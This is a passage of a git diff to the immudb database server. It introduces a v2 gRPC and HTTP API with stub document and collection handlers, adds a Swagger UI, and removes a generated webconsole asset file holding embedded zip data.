interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionDeleteRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).CollectionDelete(ctx, in) + return srv.(ImmuServiceV2Server).CollectionDelete(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/CollectionDelete", + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionDelete", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + return srv.(ImmuServiceV2Server).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) } return interceptor(ctx, in, info, handler) } -// ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service. +// ImmuServiceV2_ServiceDesc is the grpc.ServiceDesc for ImmuServiceV2 service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) -var ImmuService_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.schemav2.ImmuService", - HandlerType: (*ImmuServiceServer)(nil), +var ImmuServiceV2_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.schemav2.ImmuServiceV2", + HandlerType: (*ImmuServiceV2Server)(nil), Methods: []grpc.MethodDesc{ { - MethodName: "Login", - Handler: _ImmuService_Login_Handler, + MethodName: "LoginV2", + Handler: _ImmuServiceV2_LoginV2_Handler, }, { MethodName: "DocumentInsert", - Handler: _ImmuService_DocumentInsert_Handler, + Handler: _ImmuServiceV2_DocumentInsert_Handler, }, { MethodName: "DocumentSearch", - Handler: _ImmuService_DocumentSearch_Handler, + Handler: _ImmuServiceV2_DocumentSearch_Handler, }, { MethodName: "CollectionCreate", - Handler: _ImmuService_CollectionCreate_Handler, + Handler: _ImmuServiceV2_CollectionCreate_Handler, + }, + { + MethodName: "CollectionGet", + Handler: _ImmuServiceV2_CollectionGet_Handler, }, { MethodName: "CollectionList", - Handler: _ImmuService_CollectionList_Handler, + Handler: _ImmuServiceV2_CollectionList_Handler, }, { MethodName: "CollectionDelete", - Handler: _ImmuService_CollectionDelete_Handler, + Handler: _ImmuServiceV2_CollectionDelete_Handler, }, }, Streams: []grpc.StreamDesc{}, diff --git a/pkg/server/objects_operations.go b/pkg/server/objects_operations.go new file mode 100644 index 0000000000..d2c3e58536 --- /dev/null +++ b/pkg/server/objects_operations.go @@ -0,0 +1,39 @@ +package server + +import ( + "context" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" + "github.com/golang/protobuf/ptypes/empty" +) + +func (s *ImmuServer) LoginV2(ctx context.Context, loginReq *schemav2.LoginRequest) (*schemav2.LoginResponseV2, error) { + return nil, nil +} + +func (s *ImmuServer) DocumentInsert(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schema.VerifiableTx, error) { + return nil, nil +} + +func (s *ImmuServer) DocumentSearch(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionCreate(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionInformation, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionGet(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { + return &schemav2.CollectionInformation{ + Name: "test", + }, nil +} + +func (s *ImmuServer) CollectionList(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionDelete(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*empty.Empty, error) { + return nil, nil +} diff --git a/pkg/server/server.go b/pkg/server/server.go index 06223360d8..1560619a66 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -50,6 +50,7 @@ import ( "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/auth" "github.com/golang/protobuf/ptypes/empty" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" @@ -243,7 +244,9 @@ func (s *ImmuServer) Initialize() error { if s.Options.ReflectionServerEnabled { reflection.Register(s.GrpcServer) } + schema.RegisterImmuServiceServer(s.GrpcServer, s) + schemav2.RegisterImmuServiceV2Server(s.GrpcServer, s) grpc_prometheus.Register(s.GrpcServer) s.PgsqlSrv = pgsqlsrv.New(pgsqlsrv.Address(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), pgsqlsrv.DatabaseList(s.dbList), pgsqlsrv.SysDb(s.sysDB), pgsqlsrv.TlsConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger)) diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 3569940a68..d982a5c4f0 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -3,27 +3,41 @@ package server import ( "context" "crypto/tls" + "net/http" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" - "net/http" ) -func StartWebServer(addr string, tlsConfig *tls.Config, s schema.ImmuServiceServer, l logger.Logger) (*http.Server, error) { +func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) { proxyMux := runtime.NewServeMux() err := schema.RegisterImmuServiceHandlerServer(context.Background(), proxyMux, s) if err != nil { return nil, err } + proxyMuxV2 := runtime.NewServeMux() + err = schemav2.RegisterImmuServiceV2HandlerServer(context.Background(), proxyMuxV2, s) + if err != nil { + return nil, err + } + webMux := http.NewServeMux() webMux.Handle("/api/", http.StripPrefix("/api", proxyMux)) + webMux.Handle("/api/v2/", http.StripPrefix("/api/v2", proxyMuxV2)) err = webconsole.SetupWebconsole(webMux, l, addr) if err != nil { return nil, err } + err = swagger.SetupSwaggerUI(webMux, l, addr) + if err != nil { + return nil, err + } httpServer := &http.Server{Addr: addr, Handler: webMux} httpServer.TLSConfig = tlsConfig diff --git a/swagger/swagger.go b/swagger/swagger.go new file mode 100644 index 0000000000..e16c4040a1 --- /dev/null +++ b/swagger/swagger.go @@ -0,0 +1,26 @@ +//go:build swagger +// +build swagger + +package swagger + +//go:generate go run github.com/rakyll/statik -f -src=./dist -p=swagger -dest=. -tags=swagger + +import ( + "net/http" + + _ "github.com/codenotary/immudb/swagger/swagger" + + "github.com/codenotary/immudb/pkg/logger" + "github.com/rakyll/statik/fs" +) + +var statikFS, err = fs.New() + +func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { + if err != nil { + return err + } + l.Infof("Swagger UI enabled: %s", addr) + mux.Handle("/api/docs/", http.StripPrefix("/api/docs", http.FileServer(statikFS))) + return nil +} diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js new file mode 100644 index 0000000000..fcd7b48262 --- /dev/null +++ b/swagger/swaggeroverrides.js @@ -0,0 +1,21 @@ +window.onload = function() { + // + + // the following lines will be replaced by docker/configurator, when it runs in a docker-container + window.ui = SwaggerUIBundle({ + url: "/api/docs/schemav2.swagger.json", + dom_id: '#swagger-ui', + deepLinking: true, + presets: [ + SwaggerUIBundle.presets.apis, + SwaggerUIStandalonePreset + ], + plugins: [ + SwaggerUIBundle.plugins.DownloadUrl + ], + layout: "BaseLayout" + }); + + // + }; + \ No newline at end of file diff --git a/webconsole/statik.go b/webconsole/statik.go deleted file mode 100644 index c831630d16..0000000000 --- a/webconsole/statik.go +++ /dev/null @@ -1,16 +0,0 @@ -// Code generated by statik. DO NOT EDIT. - -// +build !webconsole - -package webconsole - -import ( - "github.com/rakyll/statik/fs" -) - - -func init() { - data := "PK\x03\x04\x14\x00\x08\x00\x08\x00\xe4HES\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/index.htmlUT\x05\x00\x01\xbd\x15\\a\x94T_k\xdb>\x14}\xef\xa7\xb8?\xfd(\xb4\x10GI PR\xdb\x0fk\xfbP\x18[\xd9\x1fX\x1f\xaf\xe5k[L\xd6\xf5\xa4\xebfa\xec\xbb\x0f\xd7N\x93\xb0n\xb0\x97H9\xba\xe7\\\x1d\xdd\x83\xd3\xffn\xdf\xdf|z|\xb8\x83FZ\x97\x9f\xa5\xc3\x02\x0e}\x9d)\xf2*?\x03H\x1b\xc2r\xd8\x00\xa4b\xc5Q\xfe\x8eaK\x85a\x1f\xd9Q\xaaGp,hI\x10\x1a\x91.\xa1o\xbd}\xca\xd4\x0d\x9a\x86\x92\x1b\xf6\x12\xd8)0\xec\x85\xbcd\xcasb\x86\xa3\x19xN\xa2p\xa0\x19\xb4}\x94$\xd0\x13:[\xa2\x90\x02\xfd'\xd5\x87\x80u\x8b\xaf\xc8\xfd\x85s\xf7\xbd\xb3\x81\xe2\x11iq\xa8\x8e\xb2\xdb{\x00(\xb8\xdc\xc1\x8f\xe9\x0f@\x81\xe6k\x1d\xb8\xf7eb\xd8q\xd8\xc0\xff\xab\xe5j\xb52\xd7/%\x15{I*l\xad\xdbm\xe0\x03\x17,<\x83\x88>&\x91\x82\xad\x0e\x85\x93@\xa8\x8b\x8b\xe5\xd5z\x06\xfb\x9f\xcb}\xc9\xcfi\xc5\x19\xe0\xe6\xc9F+T\x1e\xdd\xe5Da5p\x97W3X-\x17\xbf \xcc\x07\x9bh=\x85\x13:@\xc7\xd1\x8ae\xbf\x01,\"\xbb^\xe8\xfa\xe4\\\xb8\xdb\xc0zq~\x8a:\xaa\xe4\x15X\x02\xfaXqh7\xe3\xd6\xa1\xd0\x97\x8bd\xbd8\xbf<\x00\x8f#p`\x8ewL\xf5\xd1\xabO\xd1\xb2m\xdb\x97\xc5Q\xa6R\xbd\x8f_\xfa<\x16\xe30\xc6L\xbd\x98S\x13\xdd\xb65lm)M\xa6\x96\xeb\x85\x82\x18L\xa6Z\x8c\x86e\xde\xf9Z\x01:\xc9\xd4\xfd\xb3<\x8c\xb8\xda\x0f\xbf\x9b\xda\xc2\x16#\x14\xbdu\x02[+\x0d\xf72\xe4\x1c\xa6\xa0C\xec\xbb\x8e\x83\xccS\xdd\xbd\x10?\x12A\x8a\xd0\x04\xaa25\xa4-n\xb4\xae\xad4}17\xdcj\xc3%y\x16\x0c;=\xf6\xd0\x85\xe3B\xb7\x18\x85\x82~\xf3\xf9\xfe\xed\xed\xbc-U\xdeP\xa0Tc\x0e\x15\x07\xb0>J\xe8\xcd0\xa48\x03\x0eP\xf2\xd6;\xc6\x12\xd0\xffc\xb7@\x8e0RT9W\x955\x16\xdd\xb3\xc1r\xe8\xb57\x92\xea\xe1e\xf3\xb3T\x8f\xdf\x80_\x01\x00\x00\xff\xffPK\x07\x08\xaf\x13j\x89\x12\x02\x00\x00\x14\x04\x00\x00PK\x03\x04\x14\x00\x08\x00\x08\x00\xabe\xdeR\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x12\x00 \x00missing/mascot.pngUT\x05\x00\x01bg\xdc`\x9c\xda\xf5?\x1c\x0e\xc0\xc0\xf1\xd3\xc7\xd4\x9dn\xee\xf4Ww\x8d\xc3\xe9\xce\xe9\xe9\x98\xee\x18S\x87\xd3}b\x86i\xa6\xbb\xa6\xa7'\x86\xe9\xce\xa9i\xb6\x89\xe7\xf5\xfc\xf0\xfc\x03\xcf\xe7/\xf8\xfc\x01\xefXmM%\x02=\xaf\x1a\x90R\x90\xcb\xb4\x92\xfdM)\xa5\xf2G\x16\xcdlv\xedO\x8c\x9a\x05P\xe4\xda\xfe\xce\xda\xfa\xda\x8a\xff\xf0\x0b{\xfemb\xc3\xd4\xc1\xaf\xd3\xb9\xf9\x05\x1ey\xa7\xfb\x87?\xb4\xc1\x83\xd0\xb4_\xcd]\xa3\xbe\xd9},\x1e\xfd\x8an\xe5~\xc8\"\x9e\xc0\xa9\xfe\x89\x95\x8f\x85_R\x8a\x06\xf4-\xd2}B`\xe4\x8fg\xc2\x87z!\xb4\x91\x9a\x0fI8:\xa6\xcf$\x84\x8e\xccHd(\xdbwF2\xdae\x02z&\xd4\xcd\xb9\x9c\x99%\xfd@j\xee\xcet(c5iU\xa6\xbf-7\xbd\xfe F/~L\x02\x8d.\xea\x05@\xf4\xae\xc0\xfb\x07\xa5TcH\x1f\x07\xce\x15@\x168D\x9dV4\xbdI\xa7T\xb1E\x911-\xbe@\xc9\xd9,]\x14sA\xec\xc3\x92\x83\xdc\x0c\xcem\xd6\x1b\xcbk\x90\xdeG\xd4 u\xeb\x08\x11\x17\xb2\xc5\\\xa4\x18l8\xa4\xc4=\x9cy\xb2 2E\x0e\xf2\x82+\x88 \xe0\x95\xc7LRaHm\xe6\xffB\xdb\xc2\x1dO#_#@\x15\x18F@\xfe\xe6h\"[\xf9\xb0zR\x87G7F\xdbQ\xc1%M#\x8e\x16[z\xa0\x07%\x19\x03\x10^ D\xbe\xadeW[X\xc0\xa5\x94\xb2\xae\xa3\x9ds\xc9\x1e\x04\x92C\x14\xa9\xcex\xa8\x83\xe6{\xc7l\x1cg\xaf_\xb1C\xb3u7`\xf8;h\xf0\xd2\x1f\xc4m;\x14\x06\xe3\x87\x9d[13Q\xb82P\x9e\x83:\x8e\xcb\x05\xbae\xb4:\xcc\xee\x08JG\xc6\x99\xf6\x0cKs\xb9\x97\x04\xe7NG\xdb\xa3/V\xd9\xb8\x99\xb6\xdc\xf6\xbcL\xaa\x81\xb68\xed\x1cZ\xa1[\x0e\x8cy\xaf\x08\x84\x0c\xae\xdf:\x16\xf1\xb7\x0c\x1ep\xd2Ix\x8f\x19N\xde>\xf4\x18\xa7d(\xf9\xf5)Q\x97K{\xa0\x91,x\xce\xc1\x8fj\x1b\xcb\xc8u\xdfs\xd6s$\xd3\xbf\x98 \xef\xe3\x8e\x84u\xea\x9e|N\xbb:\x9c\xf4\xc3\xd2\x17\xab\x0c\xa1a\x85\xc9\xd6Y\xba\xc1\xea\xdd\xc3\x00$:r\x17:vs\x0c\x85\x10AM\xe1\xe8\x88\xd3\xa1\xc7\xb0\x19__\x13:\xd6\xc0\x04\xb5\xa7\xb8\x1a,\xfe\xcb\xf80\x18\xc9\xf6\xc3B\x18\xd0dPH][\xef\xbb;` \xe3\xd6 \x1cx\x8e\x91}aN\xc9\xccf\xef9\x85f\xb5_;^\x1b*VG& kNz\x8d+y2\xc7\xbb\x91\xdd\x8b\x86p\xa8\xe3'\xd9\x13w\xcb\xcf\x96\xc0\x81\xdb\x07\xdee\x11f\xe3\x969\xd1{\xb0\xe6\xa8\x9eU\x9d\xde\x95\x0b\x88=*\xac\x1b\x8a\x1af\n\xec15\x8a\xe7\x0d{\x13\x83\xdb\x08\x05\x9b\xb7\xae\x19!\xbbT\x10Y\xd9\xa3\x9a\xf0\x14?V\xd8\x90\xc4\x7f*\xb1\x1f\x87?\x99\xe4,\x03\xc2M\x06\x16\xc5\x8f\x16\xd6\xf8&g\xca\xc6\xed}\xaa:\x99\xa1\x9e\xa6\x06\xc6\xd3x\xc8-\xd1\n\xa9\x0f\x92 \x1d\xbc\xfc\xef'\x0f\x81\x0c^4\xa2$ A\xddL!f \x1cP\xff\xe4Z\x18#\xc4-\xf7K\xdeGd!\x87\x0e\x184\xb2\x0e\x16&\xf0Y\xdb{x\x17\x9d\xfb\x11\xb9\x95\xe9\xab\x7f\xd6i\xb5%\xfeE\x1d\xf3n\xc7z\x91\xc5Wem\xcaa\xb2\xb4'\xea\x1f\xf0Q@\xbf_\xceA\x04\xcd\x93Hzp\xd8\xa0\xfdk\x7f\xa2\xd8\x0f\x12\x87\xa0\n\x87\x03?\xcf\xe1\xcd[\xaa\x9fb\xbd\x90e\x11\xf6\xad:L\xd2\x81\xa5\x82\xa4Wu\xeco\x03\x8b\xd7\xe6\xdf&\x0b\xb6c\xd5\x15\xb6\xbcs\xb3\xe9\xef\xa2\xf0y\x85E\xce\x1a\xc8>\xden\xeev\xfc{\x84jM\xcb\xb3\xc1cZ.\x063O\xd0\xfe\xb4\"\x0f\xe4\xe6\"\xebwTj\xfe\xd6p\x83U\x14kc \xec\x1fq\xbf\xf4P\xf1\xac\xc4\x91\xc5\x17|\xe7Z\x0fY?\xc7\xce\xc3\xbf\x8dW~\x1d\x95\xac\xf5\x00\x02\x9d\x18,t\xc9\x14\x8aa\xfbZ=,\"\xd36_\\\xbe\xbei\xd5qm3I\xb2\xcf\xeef\xd3\x8e; O\x84h\x84\xbd?\xe4 \xa7\xca\\\x99\x15\x9e\xcb0{\xda\x9a\xc6\xce\xd6j\x9f&\xb5\xb7mAv\x11!\x8e\xdc\x13\xbb\x065\x95\xf3\x9e\x06$\xfc\x83i\x0ep9\xfe\xde\x7f\xcam\xa8}4\xf2\xcc\x19[\xe6\xdaw\x90*\x97\xa4\x18(\xf8\xbb}\xfa\xa0\xa6\x94\x9b\x7f\x99@.z\xd2\xec\xf0\x96-\xc1\xecf\x12_\x17\xde\x9b\x11\xd5\x1brc\x8f\xa6\xef\xfek\x11g\x85\xfe\x12\x11\xd8 \xbb\x83\xbab\xcb\x89W\xdf\xd4\xbb +\xdfA \x0b8\x18\xfd\xfe\x1d\xa3m\xc6\xacB\xbe+\xa5\xbb3_\xe3\x0dZu\xa5\x1c!\xf6K*\x8b^\xb4ap\xe7\"\xa4\x03\x001\xea=!\xab<\xf3Ec\x7f\xfb\xe1\xdd\xc6\xd3U]\xceG`\xe8\xb5\\ \xa5\xfc\xbe\xdf+\x98\xcb\xf5Z\xd8%\xa3S\x0e\xea\xb3\xdbz|\xbf\xdcv\xa1\x81,\x1e+\xe4c\xd0\xd8R\x86|D\x8fdo\x0e\xd3%\xacB\x8a\x0d\xa2h_\xc1\xbf\xc0\x96wY\xee\xb7\xa3mg\xff\xce\x9ad\xfb\x9ex\xe7\xf2=\x1e\xdb\xc7\xe3\x1f\x9fu\x93a{\\1/\xfb\x92\x10k|\xe2R\x9f2\x15\xac\x9d\xb6\xba\xdfp\xdc\x138\xdb\xd9\xc8\xbd)\xc7\xa7\x94gz\xdep\x7f\xcf\x8b\xd8\x94\x19\x0d;?\x1cX\xe14#\xe4GH\xf4\xf1\x81_\xee\x81\x82[\xee\x97\xdc\xdeu\x9e\x8c\xab\x1d\x17\xee\x0c\xb7\xaa\xe5\xad\xfcf/{jV\xbe-\x80\x1a\xb6\x8e\"\x8fq> \x08:\xa7u<\x14\x82\xd3\x0e\xd5\x8e\xd6.\xd0\xf8\xc1>\xf8\xa5\x1d\xd9\xe8;n\x95%\xfc\xe9\xcfq\xbb`_n\xf0+\xb4\xe1V\xa6\x08\xebD\xfdr\x9d\xce\xaa\xc5\xaf\xad\xbf\xbd\xee\xcck\x82\xe2\\K\xd7$\x0c\x05\xfc\xdaW5\x94XN\xca.T\xb2\x93\xd1\xc9[;\x0cW\x87\x15\xb5or\xcc\x9af\xa2?\xd2\xbd\x1b\x7f6\xc8\xeb\xb9^\xefmi8\x01\xeeZwx(4{<\x8c\x9c\xc1\x06vTw\x9d~\xeeZ\x9f\xeb\xc6\x9b\xfd\x92\x02\xa7\xaa\xe4bi\xb0\x16\xa1\xbf\xbc\xd2\xe9\x96\xf2;\x91\xe2\n\xa2\xeehl^&\x98\xefXM\x14}_\x8b\x96\xaa\x82P\xc5\nE\xac\xfc\xc3g\x1c\xf8\xa1\xaf\xc5 *$\xc1\x97\x92\xc3\xdfK^\x970\xfa'pct\x05\xfa\x0c\xb3a\x8c@\xec\x7f\xb2\xa0\xbca\xd5C\xb4m\x89j\x97\xc0IRi\xaa|\x12Y\xd0\xb3\x97\xe4f\x96{\xedk\x8cA\x15\n^\xa88\x1ar\xccR\xe9@\xbb7vpq\x85\xac6\xde\xc8s\x0d\xb8\xdbqZ\xab^\xe9{\x82U\xa9a\xd7\xda\xbfo\xdc\xbe\x91\x85\xdbq\x82AHw\xf7\xbd\xcb\xaf\xda$\xcdo\xb7j\xe8q \\X\x05\xbf\x1a\x14\xbf7=0\xf6\xab\x1e\xfd\xb8\xdd\x08\xd9\xb7\x83\x15en\xe5\xe0\xc3\x82\x19\x86\xbcR\xa2~\x99\xe7\xb1+w\xff\x87\xa7\x86\xb1\xd3;\xa4[\x91\x9a\x97\xdcw4G\x8b\x14\xf3\xdc49rT\x9f\x03K\xe9\x7f\xb9]\xae\xc6v{S\x07\x0e\xac/\x1bVa\x00f\xf0i\xb1\xec\xca\x0c\xf1\xbdKV\x96\xa8\x80ni0 g\xf0\xa4Ff\xcd]\x96Z\xb3\xe7\x9d\xa9D\xc6\x9e\x00\x88^l\xb1_\x84ln\x08-w\x00\x1ecX\xf5\nM,\x1d\xee\x04\xc8\xd8\xc5)$\x8a\x1d\xdc\xf0\x9d%\x80\xf0=\x02\xa1\xf9\xab&\x9eu\x87\xed\xd7\xe8I.\x9bB\x8b\x9d\xe0\n\x86\xb6\x98\xba\xaa\x90\xe2\x80\x18\x18U\xac\xabo\x04ZZ\x05\"\xe5\x9f\xd6\x7f\x8f\xa0\xf3\xf7\xb7\xbe'\xf3DS]cVh1\xf9\xf3\x05\xf6\xb4on\xf2\xf0\xaf\xf4\xf5Z\xb4\xed\x90\x98\x13\xd5\xfa\xb0\x88C\x15(\xfb\x94\x14,_.\xd2n\x97\xa5\xf9r\xb1M\x8e>@a3X\xdf\xae\xd5\x9eE\x98\x80`\x8b\xb0\x1dbg\n\x7f\xed\xc4\xff\xe8\xec\\V7}-\x0f\x93D\xf7\xd4E\xf2Y\xa8\xf1\x94\xb3U\x9f\xda\xe7U\xc1\xe6n\xb7\xea\xd5\xd1;\x95*#\xad;\xe5\x1b7\xa7\x1b\xb2\xe1\xcf\xbc\x0f&\x14\xbc\x17\xe9\xdc\xef\x1d\x99\xbb\xe7\x18\xa9RiC\xff\xfe\x18fb\x01}L\x991\xa3\x85n\x8f\x1b\xb7\x1d\xbf\x9ff\x9du\xd2>\x15\x17q\xcdY\xce_\x15\x8b\xc5l\x1d\x98\xf6\xdd\xa9\x13\xbf\xc8b-\xe7\xb70\xadjm\xd5\xffso\x88\xfe\xbb{\xd6~X\x11\xbd&\x1bZ\xce\x1f\xdeZ\xfd\xd0\xaf\xbc\xb7*\xa8\x0c\xbb`l\xa4J\x0e\xa0z\xa0Q\xeb,wra5}\x15\x80\xc2\x816\xd4q\xc8\xf3\xad(\x15 \x04\xe1\xf5n\xdf\x0f/\xc5\xc6\x04Z\xeb\xe4\xe5\x0d\x0b\xa1\x1d5\xa4]\xc85\xbd\xc5Q\x12\x97\xd15\xbb\xe2|\xe5M\xe35P\x99hX.\x0d-\xe7\xafL]\x8a\xfb\x9av\xa12i\xf1\x91\xe5\xfe\xcd\xb7\xe4x\x1agcR\x93\x9e\xaf_\x1b\x8a\x8c\x80\x82\xa5\x14\x03\xf3\x9c\xae\xb4\xb9\x86*\x00,\x1ch\xc3\xad\xf2^\xf7a\x95\x12R\x0d\xe8c\xc0\xf4vs\xf1\xe4\xd6\xeb\xf6\xf1\xea\xaf!)\x89\x86+m\x9c\xf3\x9e\xd00\x84i\x90k\xf3\xf3\xc6\xc2\x15MG\xc1\xc9\xce:|\x01\x99_>Iv\xe5tM9e\xff\xf5\xf1\xfa\xca\x80V\xf8W\x82\xaa{r\xad\x13\xbb\xef\xbdAjY\xe6\xf1\x0c\xeb\xe7\xab\xc8Lb%\x02\xc2-Q\xddD\xcc\xb6\xa2\x80D)!\xf5ji\xdb\xfe\xe3\xcaI\xcc\xba\x11?\xa3\x1d]2\xa61w\xf6\xb9\xf3\xd2c\xa6\xd9\x9a\xb7^\x1f;7\xd2L\x8d\xa5^\xfbM\xdbw\x04?c\n\xf2\xeb\xf0\x90\xe6\xadT,\x91P0\x91\x7f[\x1f\xa9S\xfd\xd3\xc8\xba\xe9\x00\xf1\xf0\xd6b\xd3[P\xb1\x88\xdc\xe4\x8b\x0di\xdf\xff\xb7;k\\\x87b\x88\xf7a\xfe+\x18\xe75yJ\xf8\xc1\x9b\xb4\xae\xe0\xdb\xfa\x17\xbd\x1b\x9a.T\xfb\xe4\xd3y>9x}\xd8\xb46\xcd\x0blF\xca\x16\x06\x10l0\xe9\xa9\x87\xfc\xaa\xb5J\xb0\xf5/\xa3\x1b\xbc\xe2\xa7\xa9\x00`\x12\x18\xba\\\xb7\xb6\xfb\x07\xc6i\xa1{/\x97E\xf5\xa3\xe1\xaa\xab\xf9\xc8M5\x1b.WI{Q\xb92\x8fo+{tG\x95\xb3\x8f+x:b`:q(JEc=\xd3\x89\xd6\xc5w\xf5\x1a\x90\xd3:,\xd7\xc6\x1d\x06\xfe\xb7\x06\xe4w\xec\x9aH\x8b\xdf\x0e\xe1[#\xadKN\xd6\x83\xe8P\xe9\x1c\xd5%gee%\xb7A\xec5\xdaU\xdc\xb2ba\xd5\x05\xf4=\xe4\xfe\xbfEK\x8eYYV\xa4,a+\xeb\x89\xdf\xbf{\xb8\x8ee\xaeI\xe5\xcb\xa27\x0f1N\x0c\xd6\xfcws\xf2\xcf\xab\xc3\xac\x06\xf5eq\xe02\xf5\x078\xdc(\xcc\xd4T\xa6/\xd5\xff\xb7\xe8\xa3\x1fh\xee\x8e\xc6U~\x1b#\xa9\xb5s\xcf\xad\"\x16\xa7\xe0\xf2\xf9\xe1i\xf9\xd1\xf8\x03\xe9~\xd8y\xfc\xf8\xe8\xceIH\xc7\x86\x8bH\xf2\x89\xcc\xc3r\xad\xb1\x16\x8a\x9d\xdb\x80\x06Y\xfeF5\xba8#\xa5\xa61`&K\x95#\x0f\xa9-\xe7\xd7u\xda\xb1Lp6\xf1\xbc\xe1\x00g\xe6\x03\xeegq\";g\x18\xfa\xe4\x85\xf8\x1f\x96\xd1t\xf3\xfd\xf8\x89\x00:\xf5@L\xda+\x1a$\xa6\"\xa9\xdf*\x91\x98\x07\x04\xa2\xee\xdez\x1aA'f\xa5\xd3\xe1\x15\x82\x02>(\xbe\xfdJFAn(\xee\x1f\x15lL\xdf=s\x10x;\x89\xae\xb9V\x8aI\xb3\xf5\x0eo?<\x80\x00.\x95\xba\xd9\xf7\x1b\\\xfd\x8e\xae\x04\x9e\x9e\xb1\xe4\xe6\x1d\xfaV\xb6\x9c\xec\xe3\xee\xa7w$\xb9@\xb1\x89\x05IS3}\xc1m\xe2\x91\x9e\xafu\xab\x8d\xb6O\xf8\x1f\x06C\xddt\xeb\xc3a\xca\xb0\xbb\xd7\xe8\xb2\x1f\xa0\xd8\xb4\xbe\x0b\xe9`~\xbb\xfd7~\xccY\xed\x01O\xe9\xb1\x8e%C\n\x82L\xc0\xa1\xeb\xce\xfb\xb1/\xf7)\xaa\x1ac6\xff\x01v\x08\xc2\x91R\x8c\xe0\x82W\x9d\xaa\xa4\xce\x16]\xe9\xca\x8c$\xc5n\x16\xc6\xc1\xd2\xcf\x01[\xff\x1e\xbf\xb43\xca\x13\xf2\x14\x13!^\xf6\n\x99\x19\x1fi\xa9]\xf2\xd0\x07hp9\xab\x05?\xb7Tv\x1e_m\xc1\x7f,~\xf2\xf2\x16\x99A:\xb4\x04\x19\xc6{\xbdy\x02\"\x82e\x1a\xc5h|h|\xc1 \xe2@\x8a\xb7\x1f\xe9\x89\x89\x88,\xa1\x94g\xa2z\x0e)}\xdb\xbd\xf0\xb6\xfeo9f\xf0\xdf5\xcf{\xa2U\x9df\xcd\n\xfb\xd2\xc5\xb3\xed\x04n\xd8\x7fC1w\xae)\x91\xe5\xb0\xa1u\xff\xcd\xfa&e\xe6N\x82\x99L\xa2\xe4\xac\xbc\xdb\xebcWO\xe9\x0d\x00\x89v0\x97\xd6E\x0b\xc2\xc8\x0e\x8d\xcfS\xb2\xbaWV\x08&\xe5\x1b\x1e\x10\xf0W\x0e2\xea\x1e\xc0\xad\x13\x1a\x83\xa9\xf6_\xe4\xf5_H\xf9\xf6\xb7\xfd\x89\x9dj\x96\x81\x88\xbf\x8b\xef\xbcM\xa2\x02\x98\xf8/\x9e\xe90\xd1\x07\n5\x18\x901\xe5\xa2Z\x98\xbe\xb6\x7f\xfae\xee?\xa1\x94I\xc0\x14\x12\x89\x0f&\xd3\xb1j\xa7\xa9AoCO\xbc\xb4\x95\xf1UM\xac\x97\xfe\xc8\xbc?\xdc\xc8k\x9dB\\zj\x17\xf2ny1\xbf\xed\xc3\x18&\xa5eK\xc28\x17\xdf|\x19\xfc\xda\xf5\xdf&\xaf%hV\xe6\xdd|Y\xbaO\xf4\xcd\xc0t\xd7\xb4\xb4IM=\x8f\x1b\xda\xe5U\x1a\xe8R\xca~j_{\xee\xacS\xcf|C\x98\xfe\xe8(z0\xac\x901\xbc\xed\xe7\xfd\x13\xc7\xea\xa6\x9f\xff\xd4(\xb2\xb0z\x98\xcc\x1a\x13\x8e,\xf9On\xeb\xa7\xa2H[\xe0M T\xb08i\xf5\xb6N\x04\xd4\x9buo@\xdd\x15\x0e_\xc3\x03+\xcd\xa6\x0b\x8e\xa6\x8a\xa9\x10}\xd7\xaf f\x84o\xdd\xddO\xa8\x11\x81\xc4\xb2\xc7\x82\xc1\xfd\x98#\xe1\x0b#\x86\x07\x0f\xbe\x0e\xa2\xd5\xfbD,\xe8\xf9>\xf8\xe0\xd7{\xb2S\x1eZ\x1f6\xef*)\x04y\x88B 